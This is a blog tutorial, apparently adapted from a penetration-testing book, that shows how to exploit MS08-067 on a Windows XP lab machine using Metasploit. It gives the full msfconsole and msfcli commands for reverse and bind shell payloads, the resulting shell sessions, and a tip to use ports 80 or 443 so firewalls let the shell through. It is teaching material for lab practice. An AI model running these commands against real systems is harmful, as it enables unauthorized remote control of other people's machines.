13 Using the Metasploit Metasploit Payloads (or Shellcode), Free Hacking Complete Course Step By Step
Free Hacking Complete Course Step By Step
Metasploit Payloads (or Shellcode)
Based on the output of show options command, it looks like everything should be ready to go at this point, but we’re not quite done yet. We’ve forgotten to tell our exploit what to do once the target has been exploited. One of the ways that Metasploit makes things easier is by setting up our payloads for us. Metasploit has a plethora of payloads, ranging from simple Windows commands to the extensible Metasploit Meterpreter (see upcoming blogs for more detailed information on Meterpreter). Just select a compatible payload, and Metasploit will craft your exploit string, including the code to trigger the vulnerability and the payload to run after exploitation is successful. (We’ll look at writing exploits by hand in upcoming blogs.)
Finding Compatible Payloads
As of this writing there were 324 payloads in Metasploit, and like exploit modules, new payloads are added to the Framework regularly. For instance, as mobile platforms take over the world, payloads for iOS and other smartphones are starting to show up in Metasploit. But, of course, not all 324 payloads are compatible with our chosen exploit. Our Windows system will be a bit confused if it receives instructions that are meant for an iPhone. To see compatible payloads, enter show payloads, as shown.
msf exploit(ms08_067_netapi) > show payloads
Compatible Payloads
===================
If you forget to set a payload, you may find that, miraculously, the exploit module will just choose the default payload and associated settings and run it anyway. Still, you should get in the habit of manually setting a payload and its options because the default won’t always fit your needs.
A Test Run
Let’s keep things simple and send off our exploit with the default payload options first, just to see how things work. Enter exploit to tell Metasploit to run the module, as shown.
msf exploit(ms08_067_netapi) > exploit
[*] Started reverse handler on 192.168.20.9:4444
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (752128 bytes) to 192.168.20.10
[*] Meterpreter session 1 opened (192.168.20.9:4444 -> 192.168.20.10:1334) at
2015-08-31 07:37:05 -0400
meterpreter >
As you can see, we end up with a Meterpreter session. Meterpreter is short for meta-interpreter, Metasploit’s unique payload. I often describe it as a shell on steroids. It can do everything a command shell can do and much, much more. We’ll cover Meterpreter in depth in future blogs, but to get a head start, enter help in the Meterpreter console for a list of Meterpreter’s commands.
Note : Another thing to note about the default options is that Metasploit uses the port 4444. In our lab there is nothing wrong with this. It will work just fine. However, on real engagements, if your client is using even primitive intrusion-prevention software, it may take note of traffic on port 4444 and say, “Hey, you are Metasploit, go away!” and drop your connection.
For now, let’s close our Meterpreter session and learn more about selecting payloads manually. As useful as Meterpreter is, you may find yourself in situations where it is not the ideal payload to meet your needs. Type exit into your Meterpreter prompt to return to the regular Metasploit console.
meterpreter > exit
[*] Shutting down Meterpreter...
[*] Meterpreter session 1 closed. Reason: User exit
msf exploit(ms08_067_netapi) >
Types of Shells
In the list of compatible payloads shown, you see a range of options including command shells, Meterpreter, a speech API, or execution of a single Windows command. Meterpreter or otherwise, shells fall into two categories: bind and reverse.
Bind Shells
A bind shell instructs the target machine to open a command shell and listen on a local port. The attack machine then connects to the target machine on the listening port. However, with the advent of firewalls, the effectiveness of bind shells has fallen because any correctly configured firewall will block traffic to some random port like 4444.
Reverse Shells
A reverse shell, on the other hand, actively pushes a connection back to the attack machine rather than waiting for an incoming connection. In this case, on our attack machine we open a local port and listen for a connection from our target because this reverse connection is more likely to make it through a firewall.
Note : You may be thinking, “Was this book written in 2002 or something? My firewall has egress filtering.” Modern firewalls allow you to stop outbound connections as well as inbound ones. It would be trivial to stop a host in your environment from connecting out, for instance, to port 4444. But say I set up my listener on port 80 or port 443. To a firewall, that will look like web traffic, and you know you have to let your users look at Facebook from their workstations or there would be mutiny and pandemonium on all sides.
Setting a Payload Manually
Let’s select a Windows reverse shell for our payload. Set a payload the same way you set the RHOST option: set payload <payload to use>.
msf exploit(ms08_067_netapi) > set payload windows/shell_reverse_tcp
payload => windows/shell_reverse_tcp
Because this is a reverse shell, we need to tell the target where to send the shell; specifically, we need to give it the IP address of the attack machine and the port we will listen on. Running show options again, shown, displays the module as well as the payload options.
msf exploit(ms08_067_netapi) > show options
Module options (exploit/windows/smb/ms08_067_netapi):
Id Name
--- --------
0 Automatic Targeting
LHOST (1) is our local host on the Kali machine, the IP address we want our target machine to connect back to. To find the IP address (if you have forgotten it), enter the Linux ifconfig command directly into Msfconsole.
msf exploit(ms08_067_netapi) > ifconfig
[*] exec: ifconfig
eth0 Link encap:Ethernet HWaddr 00:0c:29:0e:8f:11
inet addr:192.168.20.9 Bcast:192.168.20.255 Mask:255.255.255.0
--snip--
Now set the LHOST option with set LHOST 192.168.20.9. Leave the defaults for LPORT, for the local port to connect back to, as well as for EXITFUNC, which tells Metasploit how to exit. Now enter exploit, shown, to send our exploit off again, and wait for the shell to appear.
msf exploit(ms08_067_netapi) > exploit
[*] Started reverse handler on 192.168.20.9:4444 (1)
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] Selected Target: Windows XP SP3 English (AlwaysOn NX) (2)
[*] Attempting to trigger the vulnerability...
[*] Command shell session 2 opened (192.168.20.9:4444 -> 192.168.20.10:1374)
at 2015-08-31 10:29:36 -0400
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>
Congratulations: You have successfully exploited your first machine!
Here’s what happened. When we enter exploit, Metasploit opens a listener on port 4444 to catch the reverse shell from the target u. Then, since we kept the target as the default Automatic Targeting, Metasploit fingerprinted the remote SMB server and selected the appropriate exploit target for us v. Once it selected the exploit, Metasploit sent over the exploit string and attempted to take control of the target machine and execute our selected payload. Because the exploit succeeds, a command shell was caught by our handler. To close this shell, type ctrl-C and enter y at the prompt to abort the session.
C:\WINDOWS\system32>^C
Abort session 2? [y/N] y
[*] Command shell session 2 closed. Reason: User exit
msf exploit(ms08_067_netapi) >
To return to a Meterpreter shell, you can choose a payload with Meterpreter in the name such as windows/meterpreter/reverse_tcp and exploit the Windows XP target again.
Msfcli
Now for another way to interact with Metasploit: the command line interface, Msfcli. Msfcli is particularly useful when using Metasploit inside scripts and for testing Metasploit modules that you’re developing because it lets you run a module with a quick, one-line command.
Getting Help
To run Msfcli, first exit Msfconsole by entering exit, or just open another Linux console. Msfcli is in our path, so we can call it from anywhere. Let’s begin by looking at the help menu for Msfcli with msfcli -h.
root@kali:~# msfcli -h
Usage: /opt/metasploit/apps/pro/msf3/msfcli <exploit_name> <option=value> [mode] (1)
Unlike with Msfconsole, when using Msfcli, we can tell Metasploit everything it needs to know to run our exploit in just one command (1). Luckily, Msfcli has some modes to help us build the final command. For example, the O mode (2) shows the selected module’s options, and P shows the compatible payloads (3).
Showing Options
Let’s use our MS08-067 exploit against our Windows XP target again. According to the help page, we need to pass Msfcli the exploit name we want to use and set all our options (1). To show the available options use the O mode. Enter msfcli windows/smb/ms08_067_netapi O to see the options for the MS08-067 exploit module, as shown.
root@kali:~# msfcli windows/smb/ms08_067_netapi O
[*] Please wait while we load the module tree...
We see the same options as we did in Msfconsole. We’re reminded to set the RHOST option to the IP address of the target machine, but as we saw on the help page, setting options in Msfcli is a little different from doing do in Msfconsole. Here we say option=value. For example, to set RHOST, we enter RHOST=192.168.20.10.
Payloads
For a reminder of the payloads compatible with this module, use the P mode. Try msfcli windows/smb/ms08_067_netapi RHOST=192.168.20.10 P, as shown.
root@kali:~# msfcli windows/smb/ms08_067_netapi RHOST=192.168.20.10 P
[*] Please wait while we load the module tree...
Compatible payloads
================
This time, we’ll use a bind shell payload. Recall that a bind shell just listens on a local port on the target machine. It will be up to our attack machine to connect to the target machine after the payload has run. Recall from our work in Msfconsole that choosing a payload requires additional payload-specific options, which we can view again with the O flag.
Because our bind shell won’t be calling back to our attack machine, we don’t need to set the LHOST option, and we can leave the LPORT option as the default of 4444 for now. It looks like we have everything we need to exploit the Windows XP target again. Finally, to tell Msfcli to run the exploit we use the E flag.
root@kali:~# msfcli windows/smb/ms08_067_netapi RHOST=192.168.20.10
PAYLOAD=windows/shell_bind_tcp E
[*] Please wait while we load the module tree...
RHOST => 192.168.20.10
PAYLOAD => windows/shell_bind_tcp
[*] Started bind handler (1)
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] Attempting to trigger the vulnerability...
[*] Command shell session 1 opened (192.168.20.9:35156 -> 192.168.20.10:4444)
at 2015-08-31 16:43:54 -0400
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>
It looks like everything worked, and we got another shell. But this time, instead of starting a reverse handler listening on the specified local port of 4444, Metasploit starts a handler for the bind shell (1). After Metasploit sends over the exploit string, the bind handler will automatically connect out to the port specified by the payload and connect to the shell. Once again, we have taken control of the target machine.
In our last blog we learn How Using the Metasploit Framework For Hacking and pentest's our next tops will be learn about Creating Standalone Payloads with Msfvenom. If you have not followed us yet, then do so so that you do not miss the upcoming topics. Click Here To Read Our Blogs From Getting Started.

Comments
Post a Comment